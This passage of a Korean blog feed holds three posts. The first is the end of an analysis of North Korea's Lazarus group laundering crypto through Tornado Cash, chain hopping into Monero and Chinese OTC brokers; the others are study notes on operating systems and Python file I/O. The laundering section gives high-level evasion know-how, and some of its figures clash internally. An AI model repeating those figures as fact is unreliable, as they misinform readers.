<h4 id="522-tornado-cash-활용">5.2.2 Tornado Cash 활용</h4>
<p><strong>Tornado Cash란?</strong></p>
<ul>
<li>이더리움 기반 믹싱 프로토콜</li>
<li>스마트 컨트랙트로 작동 (탈중앙화)</li>
<li>입금과 출금 연결 끊기</li>
</ul>
<p><strong>라자루스 사용 패턴 (Chainalysis 보고서)</strong>:</p>
<table>
<thead>
<tr>
<th>항목</th>
<th>데이터</th>
</tr>
</thead>
<tbody><tr>
<td>총 사용 금액</td>
<td>$455M (Ronin 해킹 기준)</td>
</tr>
<tr>
<td>사용 기간</td>
<td>2022.03 ~ 2022.08 (5개월)</td>
</tr>
<tr>
<td>평균 거래당 금액</td>
<td>100 ETH (당시 약 $300K)</td>
</tr>
<tr>
<td>총 트랜잭션 수</td>
<td>12,000+</td>
</tr>
</tbody></table>
<p><strong>대응</strong>: 미국 재무부 2022년 8월 Tornado Cash 제재 → 사용 금지</p>
<h4 id="523-체인-호핑-chain-hopping">5.2.3 체인 호핑 (Chain Hopping)</h4>
<p><strong>관찰된 경로</strong> (Elliptic 분석):</p>
<pre><code>ETH (해킹한 코인)
    ↓ DEX (탈중앙 거래소)
BTC (비트코인)
    ↓ Bridge
BSC (바이낸스 스마트체인)
    ↓ Swap
USDT (스테이블코인)
    ↓
XMR (모네로) ← 여기서 추적 끊김</code></pre><p><strong>모네로(Monero)의 특성</strong>:</p>
<ul>
<li>Ring Signature: 발신자 익명화</li>
<li>Stealth Address: 수신자 익명화</li>
<li>Ring CT: 거래 금액 암호화</li>
<li>→ <strong>추적 기술적으로 불가능</strong></li>
</ul>
<h4 id="524-otc장외-거래">5.2.4 OTC(장외) 거래</h4>
<p>UN 보고서(2023)가 확인한 경로:</p>
<ol>
<li><p><strong>중국 OTC 브로커 활용</strong></p>
<ul>
<li>심천(深圳), 홍콩 지역 중심</li>
<li>수수료: 30-40%</li>
<li>신원 확인 없음</li>
</ul>
</li>
<li><p><strong>거래 방식</strong></p>
<pre><code> 라자루스 → XMR 전송
 브로커 → 위안화/USDT 지급
 (출처 묻지 않음)</code></pre></li>
<li><p><strong>최종 현금화</strong></p>
<ul>
<li>북한 무역 회사 명의</li>
<li>&quot;정상 무역 대금&quot;으로 위장</li>
<li>중국-북한 국경 거래</li>
</ul>
</li>
</ol>
<hr>
<h2 id="6-추적-및-회수-현황">6. 추적 및 회수 현황</h2>
<h3 id="61-ronin-해킹-추적-결과">6.1 Ronin 해킹 추적 결과</h3>
<p><strong>Chainalysis 최종 보고서 (2023.06)</strong>:</p>
<table>
<thead>
<tr>
<th>항목</th>
<th>금액</th>
<th>비율</th>
</tr>
</thead>
<tbody><tr>
<td>총 탈취액</td>
<td>$625M</td>
<td>100%</td>
</tr>
<tr>
<td>회수 성공</td>
<td>$30M</td>
<td>4.8%</td>
</tr>
<tr>
<td>동결/블랙리스트</td>
<td>$56M</td>
<td>9.0%</td>
</tr>
<tr>
<td>추적 중</td>
<td>$84M</td>
<td>13.4%</td>
</tr>
<tr>
<td><strong>추적 불가</strong></td>
<td><strong>$455M</strong></td>
<td><strong>72.8%</strong></td>
</tr>
</tbody></table>
<p><strong>추적 불가 이유</strong>:</p>
<ul>
<li>Tornado Cash 통한 세탁 ($455M)</li>
<li>이후 모네로 전환 추정</li>
<li>블록체인 상 흔적 소멸</li>
</ul>
<h3 id="62-국제-대응">6.2 국제 대응</h3>
<p><strong>미국 제재 (OFAC)</strong>:</p>
<p>2022년 5월 라자루스 연관 지갑 주소 제재:</p>
<ul>
<li>총 280개 이더리움 주소 블랙리스트</li>
<li>거래소 자동 차단 시스템</li>
<li>효과: 신규 해킹 자금은 일부 동결 성공</li>
</ul>
<p><strong>한계</strong>:</p>
<ul>
<li>이미 세탁된 자금은 추적 불가</li>
<li>탈중앙 프로토콜은 제재 우회 가능</li>
<li>새 주소 생성으로 계속 활동</li>
</ul>
<hr>
<h2 id="7-현금화-성공률-분석">7. 현금화 성공률 분석</h2>
<h3 id="71-un-추정치">7.1 UN 추정치</h3>
<p><strong>UN 안보리 보고서 (2023.02)</strong>:</p>
<pre><code>2017-2022 총 탈취액: $3B 추정
현금화 성공: $2B - 2.4B (70-80%)
북한 유입 추정: $1.5B - 2B</code></pre><p><strong>자금 용도</strong> (UN 전문가 패널):</p>
<ul>
<li>핵무기 개발: 40%</li>
<li>미사일 프로그램: 30%</li>
<li>엘리트 생활 유지: 20%</li>
<li>해킹 인프라: 10%</li>
</ul>
<h3 id="72-성공-요인">7.2 성공 요인</h3>
<table>
<thead>
<tr>
<th>요인</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>국가 지원</strong></td>
<td>무제한 자원, 시간, 인력</td>
</tr>
<tr>
<td><strong>기술력</strong></td>
<td>세계 최고 수준 APT 기법</td>
</tr>
<tr>
<td><strong>지정학적 위치</strong></td>
<td>북한 = 안전지대, 송환 불가</td>
</tr>
<tr>
<td><strong>암호화폐 특성</strong></td>
<td>탈중앙화, 익명성</td>
</tr>
<tr>
<td><strong>국제 공조 한계</strong></td>
<td>관할권 문제, 시간 지연</td>
</tr>
</tbody></table>
<hr>
<h2 id="8-핵심-교훈">8. 핵심 교훈</h2>
<h3 id="81-기술적-교훈">8.1 기술적 교훈</h3>
<ol>
<li><p><strong>Multi-sig도 안전하지 않음</strong></p>
<ul>
<li>Ronin: 한 조직이 5/9 소유 → 집중화 위험</li>
<li>교훈: 검증자 분산, 독립성 확보 필수</li>
</ul>
</li>
<li><p><strong>소셜 엔지니어링이 가장 강력함</strong></p>
<ul>
<li>기술적 보안 &lt; 인간 심리</li>
<li>직원 보안 교육 중요성</li>
</ul>
</li>
<li><p><strong>탈중앙화의 양날의 검</strong></p>
<ul>
<li>검열 저항성 = 범죄자도 차단 못함</li>
<li>Tornado Cash 제재해도 Fork 가능</li>
</ul>
</li>
</ol>
<h3 id="82-대응-전략">8.2 대응 전략</h3>
<h4 id="개인조직-차원">개인/조직 차원</h4>
<pre><code>✓ Multi-sig 검증자 완전 분산
✓ 타임락(Time-lock) 적용 (24-48시간 지연)
✓ 이상 거래 실시간 모니터링
✓ 소셜 엔지니어링 대응 교육
✓ 정기적 보안 감사</code></pre><h4 id="산업-차원">산업 차원</h4>
<pre><code>✓ 블랙리스트 주소 공유 (Chainalysis Reactor)
✓ 거래소 간 정보 공유 체계
✓ 규제 당국과 협력 강화
✓ 보험 상품 개발</code></pre><hr>
<h2 id="9-최신-동향-2024-2025">9. 최신 동향 (2024-2025)</h2>
<h3 id="91-공격-기법-진화">9.1 공격 기법 진화</h3>
<p><strong>Chainalysis 2024 보고서</strong>:</p>
<ol>
<li><p><strong>AI 활용 증가</strong></p>
<ul>
<li>딥페이크 화상 면접</li>
<li>AI 생성 코드로 백도어</li>
<li>자동화된 피싱</li>
</ul>
</li>
<li><p><strong>DeFi 집중 타겟</strong></p>
<ul>
<li>2024년 피해의 80%가 DeFi</li>
<li>스마트 컨트랙트 취약점 악용</li>
<li>크로스체인 브릿지 선호</li>
</ul>
</li>
<li><p><strong>새로운 세탁 경로</strong></p>
<ul>
<li>NFT 워싱</li>
<li>게임 아이템 거래</li>
<li>Layer 2 네트워크 악용</li>
</ul>
</li>
</ol>
<h3 id="92-대응-기술-발전">9.2 대응 기술 발전</h3>
<p><strong>긍정적 변화</strong>:</p>
<ul>
<li>Chainalysis, Elliptic 등 분석 도구 발전</li>
<li>거래소 KYC 강화 (Travel Rule 적용)</li>
<li>국제 공조 프로세스 개선</li>
</ul>
<p><strong>여전한 한계</strong>:</p>
<ul>
<li>모네로 등 프라이버시 코인 추적 불가</li>
<li>탈중앙화 프로토콜 통제 어려움</li>
<li>북한이라는 안전지대 존재</li>
</ul>
<hr>
<h2 id="10-결론">10. 결론</h2>
<h3 id="주요-발견">주요 발견</h3>
<ol>
<li><p><strong>라자루스는 실제로 수십억 달러를 현금화했다</strong></p>
<ul>
<li>성공률: 70-80%</li>
<li>블록체인 투명성에도 불구하고</li>
</ul>
</li>
<li><p><strong>핵심 세탁 도구</strong></p>
<ul>
<li>Tornado Cash (2022년까지)</li>
<li>Monero (현재 주력)</li>
<li>중국 OTC 시장</li>
</ul>
</li>
<li><p><strong>막을 수 없는 이유</strong></p>
<ul>
<li>기술적: 프라이버시 코인, 탈중앙화</li>
<li>정치적: 북한이라는 안전지대</li>
<li>경제적: 고액 수수료 = 협력자 생김</li>
</ul>
</li>
</ol>
<h3 id="향후-전망">향후 전망</h3>
<p><strong>비관적 시나리오</strong>:</p>
<ul>
<li>라자루스 활동 지속 예상</li>
<li>북한 경제 제재 지속 → 동기 유지</li>
<li>새로운 세탁 기법 계속 개발</li>
</ul>
<p><strong>대응 방향</strong>:</p>
<ul>
<li>기술적 방어 강화 (Zero Trust, MPC 월렛)</li>
<li>국제 공조 강화 (실시간 정보 공유)</li>
<li>탈중앙화와 규제의 균형점 찾기</li>
</ul>
<hr>
<h2 id="참고-문헌">참고 문헌</h2>
<ol>
<li>UN Security Council, &quot;Report of the Panel of Experts on DPRK Sanctions&quot;, 2023</li>
<li>FBI, &quot;DPRK Cyber Threats to the U.S. Financial Sector&quot;, 2022</li>
<li>Chainalysis, &quot;The 2023 Crypto Crime Report&quot;</li>
<li>U.S. Department of Treasury, OFAC Sanctions List</li>
<li>Elliptic, &quot;Lazarus Group: A Deep Dive into North Korea&#39;s Cyber Threat&quot;</li>
<li>Mandiant, &quot;APT38: Un-usual Suspects&quot;</li>
</ol>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[운영체제의 이해]]></title>
            <link>https://velog.io/@9_000k/%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C%EC%9D%98-%EC%9D%B4%ED%95%B4</link>
            <guid>https://velog.io/@9_000k/%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C%EC%9D%98-%EC%9D%B4%ED%95%B4</guid>
            <pubDate>Thu, 02 Oct 2025 15:21:20 GMT</pubDate>
            <description><![CDATA[<h1 id="개요">개요</h1>
<ul>
<li>목적: 운영체제에 대해 이해하자</li>
<li>범위: 운영체제의 개념과 기능 -&gt; 윈도우의 이해 -&gt; 리눅스/유닉스의 이해</li>
</ul>
<h1 id="🎯-목표-milestones">🎯 목표 (Milestones)</h1>
<ul>
<li><input disabled="" type="checkbox"> <strong>M1:</strong> 운영체제의 개념과 기능에 대해 알아보자</li>
<li><input disabled="" type="checkbox"> <strong>M2:</strong> 윈도우에 대해 알아보자</li>
<li><input disabled="" type="checkbox"> M3: 리눅스/유닉스에 대해 이해하자</li>
</ul>
<h1 id="아키텍처--구성">아키텍처 &amp; 구성</h1>
<ul>
<li>운영체제의 개념과 기능</li>
<li>윈도우의 이해</li>
<li>리눅스/유닉스의 이해</li>
</ul>
<h1 id="작업-목록-tasks">작업 목록 (Tasks)</h1>
<h2 id="운영체제의-개념과-기능">운영체제의 개념과 기능</h2>
<h4 id="운영체제의-개념">운영체제의 개념</h4>
<p>윌리엄 스탈링스는 
운영체제란 사용자가 컴퓨터 시스템을 손쉽게 사용하도록 하고, 시스템 자원(기억장치,
프로세서, 입출력 장치, 정보, 네트워크등을) 효율적으로 관리할 수 있도록 하는 프로그램 집합
이라고 정의했다.</p>
<p>운영체제를 엄마, 운영체제에서 실행되는 프로그램등을 아이들로 생각하면 편할듯하다.
곁에서 잘 작동되게 도와주고 그러는 역할이 운영체제이기 때문에</p>
<h4 id="운영체제의-기능">운영체제의 기능</h4>
<p>운영체제는 종류가 많은데 일단 PC 구성을 기준으로 기능을 살펴보자
일반 PC는 단일 사용자 운영체제 구성 모델, 즉 사용자 명령 인터페이스를 중심으로
메모리 관리자, 프로세서 관리자, 장치 관리자, 파일 관리자 등 네가지 서브시스템
관리자로 기본 구성된다. 그리고 네트워크를 지원하는 운영체제라면
네트워크 관리자가 추가된다.</p>
<h4 id="사용자-명령-인터페이스">사용자 명령 인터페이스</h4>
<p>사용자 인터페이스는 <strong>사용자와 시스템의 대화수단</strong> 
DOS나 유닉스에서는 검은색 화면에 푸른색 커서가 깜박깜박하는 셸이 대화 수단이었다.
요즘에는 대부분 GUI를 적용하기에 여러 인터페이스 이용하여 시스템과 대화한다.(예:마우스같은거)</p>
<h4 id="서브시스템-관리자">서브시스템 관리자</h4>
<ul>
<li>메모리 관리자
프로그램이 메모리 요청하면 적합성 점검후 적합하다 판단하면 메모리 할당
또 할당된 메모리 다른 프로그램이 접근 못하게 관리</li>
<li>프로세서 관리자
프로그램을 실행하려면 프로세서가 프로그램 코드를 구성하는 명령어를 하나씩 수행해야함
이때 프로세서 관리자는 명령어들을 체계적이고 효율적으로 실행할 수 있도록 스케줄링 및
사용자의 작업 요청을 수용하거나 거부함</li>
<li>장치 관리자
시스템 안의 모든 장치를 프로그램에 할당하거나 회수함</li>
<li>파일 관리자
시스템 안의 데이터, 모든 파일에 사용자별로 파일 접근 권환 부여하며, 접근 권한에 따라
파일을 할당하고 해제함</li>
<li>네트워크 관리자
네트워크에서 접근 가능한 CPU 메모리, 프린터, 디스크 드라이버, 모델, 모니터 같은 자원관리</li>
</ul>
<h3 id="윈도우의-이해">윈도우의 이해</h3>
<h4 id="윈도우의-구조">윈도우의 구조</h4>
<p>윈도우의 커널구조와 파일 시스템 구조를 알아본다.</p>
<p>먼저 <strong>커널</strong>이란 운영체제의 중심에 위치하며, 운영체에서 어떤 작업을 시작하더라도
커널 동작으로 제어한다. 
즉, 커널은 인터럽트 처리, 프로세스관리, 메모리 관리, 파일 시스템 관리, 프로그래밍 인터페이스
제공 등 운영체제 기본 기능을 제공하는 핵심이라고 할 수 있다.</p>
<p>참고: 인터럽트란??
작동 중인 컴퓨터에서 예기치 않은 문제가 발생한 경우 CPU가 하드웨어적으로 상태를 체크하여 변화에
대응하는것</p>
<h4 id="윈도우의-커널-구조">윈도우의 커널 구조</h4>
<p>커널이 손상되지 않도록 접근 가능한 메모리에 로드하지않음
커널이 손상되면 부팅할때 블루 스크린을 표시함</p>
<p>윈도우 시스템은 보통 링구조로 되어있다.
맨 밑에서 부터 하드웨어 -&gt; 하드웨어 제어하는 HAL -&gt; 마이크로 커널
-&gt; 각종 관리자 -&gt; 운영체제에서 동작하는 갖가지 응용 프로그램 순으로 위치함</p>
<p><img src="https://velog.velcdn.com/images/9_000k/post/29b0f71b-40d9-459a-8d3e-008dd9c00a8d/image.png" alt=""></p>
<p>커널모드는 기본적으로 사용자가 접근할 수 없는 영역으로, 프로그램을 실행하는 기본관리 시스템이 위치함
윈도우는 사용자가 프로그램을 만들고 실행하는 모든 과정을 사용자 모드에서만 가능하도록 설계했으나,
완벽하게 구현하지 못함
(예를들어 윈도우에서는 마이크로 커널이 HAL을 무시하고 하드웨어와 통신할수있는데 이것에서 보안의 허점이.)</p>
<p><img src="https://velog.velcdn.com/images/9_000k/post/2d4d0f0c-102b-4451-a6c3-b9797b176d5d/image.png" alt=""></p>
<p>다음으로 마이크로 커널이 있다. 본래 커널은 현재 관리자 들이 하던 일을 도맡아 했는데 
이걸 여러 관리자에게 분담시키고 자신은 하드웨어와 하는 통신만 제어함으로써 최소한의 커널이 되었는데
이를 마이크로 커널이라 한다.</p>
<p>다음으로 관리자의 역할을 알아보자</p>
<ul>
<li>입출력 관리자
시스템의 입출력 제어</li>
<li>개체 관리자
각 개체 정보 제공</li>
<li>보안 참조 관리자
각 데이터나 시스템 자원의 제어 허가및 거부함으로서 보안 설정 책임</li>
<li>프로세스 관리자
스레드 생성, 요청에 따라 처리</li>
<li>로컬 프로시저 호출 관리자
각 프로세스는 서로의 메모리 공간 침범하기 때문에 프로세스간 통신이 필요할때는
이를 대신할 장치가 필요한데 이게 그것이다</li>
<li>가상 메모리 관리자
요청에 따라 RAM메모리 할당하고 가상 메모리의 페이징을 제어함</li>
<li>그래픽 장치 관리자
화면에 선이나 곡선 그리거나 폰트등 관리</li>
<li>기타 관리자
캐시 관리자,PNP관리자, 전원 관리자등이 있다.</li>
</ul>
<h3 id="리눅스유닉스의-이해">리눅스/유닉스의 이해</h3>
<h4 id="리눅스유닉스의-구조">리눅스/유닉스의 구조</h4>
<p>유닉스 커널은 윈도우처럼 개별관리자 존재x</p>
<p>유닉스에는 커널을 거대한 프로그램 덩어리로 만든 모놀리식 커널과 개별 모듈로 구성된 마이크로 커널이 있다.</p>
<p>모놀리식 커널은 거대한 커널이 모든 기능을 수행하도록 만들어졌으며 안정적이지만 문제가 발생하면 부분수정이
어렵다. 모놀리식 커널은 일반 시스템 보다 거대한 슈퍼컴퓨터에 많이 적용된다.</p>
<p>유닉스에서의 마이크로 커널은 모듈 여러 개가 모여 커널 하나를 이루는 개념이다.
개별 모듈의 업로드와 언로드가 가능하다.
그러나 각 모듈 권한이 동일하여 잘못된 모듈을 업로드하면 커널 전체가 망가질수있다.
부분 모듈의 업로드를 이용하여 커널에 백도어를 심을수도 있다.</p>
<p>유닉스 링구조를 살펴보면 하드웨어, 커널, 셸, 응용프로그램 으로 구성되어있다.
링 개수가 많을수록 보안 레벨은 높지만 그렇다고 윈도우가 유닉스 보다 보안 레벨이 높다할수없다.
유닉스 링구조는 윈도우보다더 명확하게 구분되어있기 때문이다.</p>
<p><img src="https://velog.velcdn.com/images/9_000k/post/b8495ccf-0c4b-403a-a85d-5ebd2656cbc3/image.png" alt=""></p>
<h5 id="-루트-디렉토리"><code>/</code> (루트 디렉토리)</h5>
<ul>
<li><p>모든 디렉토리의 시작점.</p>
</li>
<li><p>유닉스 파일 시스템의 최상위에 해당.</p>
</li>
</ul>
<hr>
<h5 id="bin"><code>/bin</code></h5>
<ul>
<li><p><strong>기본 명령어 바이너리</strong>(실행 파일) 저장.</p>
</li>
<li><p>시스템 부팅이나 최소한의 운영에 꼭 필요한 명령어 (<code>ls</code>, <code>cp</code>, <code>mv</code>, <code>rm</code>, <code>cat</code>, <code>echo</code>, <code>bash</code> 등).</p>
</li>
</ul>
<hr>
<h5 id="sbin"><code>/sbin</code></h5>
<ul>
<li><p><strong>시스템 관리용 명령어</strong> 저장.</p>
</li>
<li><p>보통 루트 사용자만 실행 (<code>shutdown</code>, <code>reboot</code>, <code>mkfs</code>, <code>fsck</code> 등).</p>
</li>
</ul>
<hr>
<h5 id="etc"><code>/etc</code></h5>
<ul>
<li><p><strong>설정 파일</strong> 위치.</p>
</li>
<li><p>네트워크, 사용자, 서비스 등 시스템 환경을 제어하는 설정 (<code>passwd</code>, <code>fstab</code>, <code>hosts</code>, <code>ssh/</code> 등).</p>
</li>
</ul>
<hr>
<h5 id="dev"><code>/dev</code></h5>
<ul>
<li><p><strong>디바이스 파일</strong> 저장.</p>
</li>
<li><p>하드웨어 장치를 파일처럼 다룰 수 있도록 한 인터페이스 (<code>/dev/sda</code>, <code>/dev/null</code>, <code>/dev/tty</code> 등).</p>
</li>
</ul>
<hr>
<h5 id="proc"><code>/proc</code></h5>
<ul>
<li><p><strong>커널과 프로세스 정보 제공</strong> (가상 파일 시스템).</p>
</li>
<li><p>실제 디스크에 저장된 게 아니라 메모리 기반.</p>
</li>
<li><p>예: <code>/proc/cpuinfo</code>, <code>/proc/meminfo</code>, <code>/proc/[PID]</code></p>
</li>
</ul>
<hr>
<h5 id="var"><code>/var</code></h5>
<ul>
<li><p><strong>가변 데이터</strong> 저장.</p>
</li>
<li><p>로그(<code>log/</code>), 메일(<code>mail/</code>), 캐시(<code>cache/</code>), 스풀(<code>spool/</code>) 등 실행하면서 계속 바뀌는 파일들.</p>
</li>
</ul>
<hr>
<h5 id="usr"><code>/usr</code></h5>
<ul>
<li><p><strong>사용자용 프로그램과 라이브러리</strong> 저장.</p>
</li>
<li><p><code>/usr/bin</code> → 일반 사용자 실행 명령어</p>
</li>
<li><p><code>/usr/sbin</code> → 시스템 관리용 실행 파일</p>
</li>
<li><p><code>/usr/lib</code> → 라이브러리</p>
</li>
<li><p><code>/usr/share</code> → 매뉴얼, 문서, 공용 데이터</p>
</li>
</ul>
<hr>
<h5 id="home"><code>/home</code></h5>
<ul>
<li><p>각 사용자들의 <strong>홈 디렉토리</strong>.</p>
</li>
<li><p>개인 파일, 설정 파일 등이 위치 (<code>/home/junha</code> 같은 느낌).</p>
</li>
</ul>
<hr>
<h5 id="root"><code>/root</code></h5>
<ul>
<li><p><strong>슈퍼유저(root)</strong> 의 홈 디렉토리.</p>
</li>
<li><p>일반 사용자의 <code>/home</code>과 분리되어 있음.</p>
</li>
</ul>
<hr>
<h5 id="tmp"><code>/tmp</code></h5>
<ul>
<li><p><strong>임시 파일 저장 공간</strong>.</p>
</li>
<li><p>프로그램 실행 중 생성되는 임시 데이터.</p>
</li>
<li><p>재부팅 시 대부분 삭제됨.</p>
</li>
</ul>
<hr>
<h5 id="boot"><code>/boot</code></h5>
<ul>
<li><p><strong>부팅 관련 파일</strong> 저장.</p>
</li>
<li><p>커널 이미지(<code>vmlinuz</code>), 초기 램 디스크(<code>initrd</code>), 부트로더 설정 등이 들어있음.</p>
</li>
</ul>
<hr>
<h5 id="lib-lib64"><code>/lib</code>, <code>/lib64</code></h5>
<ul>
<li><p><strong>공용 라이브러리</strong> 저장.</p>
</li>
<li><p>시스템 부팅 및 기본 프로그램 실행에 필요한 <code>.so</code> 파일들.</p>
</li>
<li><p>커널 모듈(<code>modules/</code>)도 여기 있음.</p>
</li>
</ul>
<hr>
<h5 id="opt"><code>/opt</code></h5>
<ul>
<li><p><strong>추가 애플리케이션</strong> 설치 경로.</p>
</li>
<li><p>상용 소프트웨어나 별도로 설치한 프로그램이 들어가는 경우가 많음.</p>
</li>
</ul>
<hr>
<h5 id="mnt-media"><code>/mnt</code>, <code>/media</code></h5>
<ul>
<li><p><strong>외부 장치 마운트 지점</strong>.</p>
</li>
<li><p><code>/mnt</code> → 관리자가 임시로 마운트할 때</p>
</li>
<li><p><code>/media</code> → USB, CD-ROM 등 자동 마운트되는 장치</p>
</li>
</ul>
<hr>
<h5 id="srv"><code>/srv</code></h5>
<ul>
<li><p><strong>서비스 데이터 저장소</strong>.</p>
</li>
<li><p>웹 서버(<code>/srv/www</code>), FTP 서버(<code>/srv/ftp</code>) 등의 실제 데이터가 위치.</p>
</li>
</ul>
<h2 id="관련-리소스">관련 리소스</h2>
<ul>
<li>시스템 해킹과 보안서적 참고</li>
</ul>
<h1 id="느낀점-배운점나아가야할점">느낀점&amp; 배운점&amp;나아가야할점</h1>
<ul>
<li>느낀점: 이론 배경지식부터 가지고 시스템해킹을 공부했다면 더 수월하지 않았을까 한다.</li>
<li>배운점: 여러 관리자 부터 구조와 링구조및 다양한 것들을 배울수있었다.</li>
<li>나아가야할점: 다음장은 어셈블리어 레지스터 같은것들이다! 힘내자!</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Kt Cloud tech up 9/26일자 오후수업]]></title>
            <link>https://velog.io/@9_000k/Kt-Cloud-tech-up-926%EC%9D%BC%EC%9E%90-%EC%98%A4%ED%9B%84%EC%88%98%EC%97%85</link>
            <guid>https://velog.io/@9_000k/Kt-Cloud-tech-up-926%EC%9D%BC%EC%9E%90-%EC%98%A4%ED%9B%84%EC%88%98%EC%97%85</guid>
            <pubDate>Fri, 26 Sep 2025 11:56:40 GMT</pubDate>
            <description><![CDATA[<h2 id="개요">개요</h2>
<ul>
<li>목적: 파이썬에서 파일을 읽고 쓰는 방법을 이해하고, 다양한 모드와 활용법을 익힌다.</li>
<li>범위:<code>open()</code> 함수, 파일 모드(<code>r</code>, <code>w</code>, <code>a</code>), <code>read</code>, <code>readline</code>, <code>readlines</code>, <code>with문</code>, CSV 파일 처리.</li>
</ul>
<h1 id="🎯-목표-milestones">🎯 목표 (Milestones)</h1>
<ul>
<li><input disabled="" type="checkbox"> <strong>M1:</strong> 파일 열기/쓰기/읽기 이해</li>
<li><input disabled="" type="checkbox"> <strong>M2:</strong> 인코딩과 줄바꿈 처리 이해</li>
<li><input disabled="" type="checkbox"> <strong>M3:</strong> CSV 파일 다루기 및 디버깅 기법 이해</li>
</ul>
<h2 id="아키텍처--구성">아키텍처 &amp; 구성</h2>
<ul>
<li>구성: 이론 + 예제 코드 + 실습 문제</li>
</ul>
<h2 id="작업-목록-tasks">작업 목록 (Tasks)</h2>
<h2 id="파일-열기와-모드">파일 열기와 모드</h2>
<h3 id="이론">이론</h3>
<ul>
<li><p>파일은 <code>open(파일명, 모드)</code>로 연다.</p>
</li>
<li><p>주요 모드</p>
<ul>
<li><p><code>r</code> : 읽기 (read)</p>
</li>
<li><p><code>w</code> : 쓰기 (write, 기존 내용 삭제됨)</p>
</li>
<li><p><code>a</code> : 추가 (append, 기존 내용 뒤에 이어쓰기)</p>
</li>
</ul>
</li>
</ul>
<pre><code class="language-python">f = open(&quot;a.txt&quot;, &quot;w&quot;)  # 쓰기 모드로 파일 생성
f.write(&quot;Hello World&quot;)
f.close()</code></pre>
<h2 id="파일-쓰기">파일 쓰기</h2>
<h3 id="이론-1">이론</h3>
<ul>
<li><p><code>파일객체.write(내용)</code>으로 텍스트 기록</p>
</li>
<li><p>기존 파일에 덮어쓰기 → 원본 내용이 모두 사라짐</p>
</li>
</ul>
<pre><code class="language-python">f = open(&quot;test.txt&quot;, &quot;w&quot;)
f.write(&quot;첫 번째 줄\n&quot;)
f.write(&quot;두 번째 줄\n&quot;)
f.close()</code></pre>
<h2 id="파일-읽기">파일 읽기</h2>
<h3 id="read">read()</h3>
<ul>
<li>전체 내용을 문자열로 읽음</li>
</ul>
<pre><code class="language-python">f = open(&quot;test.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;)
data = f.read()
print(data)
f.close()</code></pre>
<h3 id="readline">readline()</h3>
<ul>
<li>한 줄씩 읽음, 개행문자 <code>\n</code> 포함됨</li>
</ul>
<pre><code class="language-python">f = open(&quot;test.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;)
line = f.readline()
print(line.strip())  # strip()으로 개행 제거
f.close()</code></pre>
<h3 id="readlines">readlines()</h3>
<ul>
<li>파일 내용을 리스트 형태로 읽음</li>
</ul>
<pre><code class="language-python">f = open(&quot;test.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;)
lines = f.readlines()
for l in lines:
    print(l.strip())
f.close()</code></pre>
<h2 id="인코딩">인코딩</h2>
<h3 id="이론-2">이론</h3>
<ul>
<li><p>컴퓨터는 문자를 직접 인식하지 못하므로 → 숫자 코드와 매핑</p>
</li>
<li><p><strong>인코딩(Encoding):</strong> 문자 → 코드</p>
</li>
<li><p><strong>디코딩(Decoding):</strong> 코드 → 문자</p>
</li>
</ul>
<h3 id="주요-방식">주요 방식</h3>
<ul>
<li><p><strong>UTF-8</strong> : 전 세계 문자 표현 가능, 한글 1자 = 3byte</p>
</li>
<li><p><strong>EUC-KR</strong> : 한글/한국 한자/영문 가능, 한글 1자 = 2byte</p>
</li>
</ul>
<h2 id="추가-모드-a">추가 모드 (a)</h2>
<pre><code class="language-python">f = open(&quot;test.txt&quot;, &quot;a&quot;)
f.write(&quot;추가된 줄\n&quot;)
f.close()</code></pre>
<p>기존 내용 뒤에 이어서 기록</p>
<h2 id="with문">with문</h2>
<h3 id="이론-3">이론</h3>
<ul>
<li><p><code>with</code>문 사용 시 파일을 자동으로 <code>close()</code> 처리</p>
</li>
<li><p>코드가 간결해지고 안전함</p>
</li>
</ul>
<pre><code class="language-python">with open(&quot;test.txt&quot;, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:
    data = f.read()
    print(data)</code></pre>
<h2 id="csv-파일-다루기">CSV 파일 다루기</h2>
<h3 id="이론-4">이론</h3>
<ul>
<li><p>CSV(Comma-Separated Values): 데이터가 <code>,</code> 로 구분된 텍스트 형식</p>
</li>
<li><p>엑셀/메모장/데이터 분석에서 많이 활용</p>
</li>
</ul>
<pre><code class="language-python">import csv

with open(&quot;data.csv&quot;, &quot;w&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as f:
    writer = csv.writer(f)
    writer.writerow([&quot;이름&quot;, &quot;나이&quot;, &quot;국가&quot;])
    writer.writerow([&quot;철수&quot;, 25, &quot;한국&quot;])
    writer.writerow([&quot;John&quot;, 30, &quot;USA&quot;])</code></pre>
<h2 id="디버깅-팁">디버깅 팁</h2>
<ul>
<li><p><strong>breakpoint (중단점):</strong> 코드 실행 중 특정 지점에서 멈춤 (<code>Ctrl + F8</code>)</p>
</li>
<li><p><strong>Step Over:</strong> 한 줄씩 실행 (<code>F10</code>)</p>
</li>
<li><p>파일 읽기/쓰기 동작을 디버그하며 확인 가능</p>
</li>
</ul>
<h2 id="관련-리소스">관련 리소스</h2>
<ul>
<li>강사님 자료</li>
</ul>
<h1 id="느낀점-배운점나아가야할점">느낀점&amp; 배운점&amp;나아가야할점</h1>
<ul>
<li>느낀점: 파일 입출력은 데이터를 다루는 그런거구나 라고 싶음</li>
<li>배운점: <code>open</code>, <code>with</code>, <code>read</code>, <code>write</code>의 차이와, CSV 파일의 구조를 배움</li>
<li>나아가야할점: 안 공부에도 로그 파일이나 데이터 수집이 중요한 만큼, 파일 다루기 연습을 더 해야겠다.</li>
</ul>
]]></description>
        </item>
    </channel>
</rss>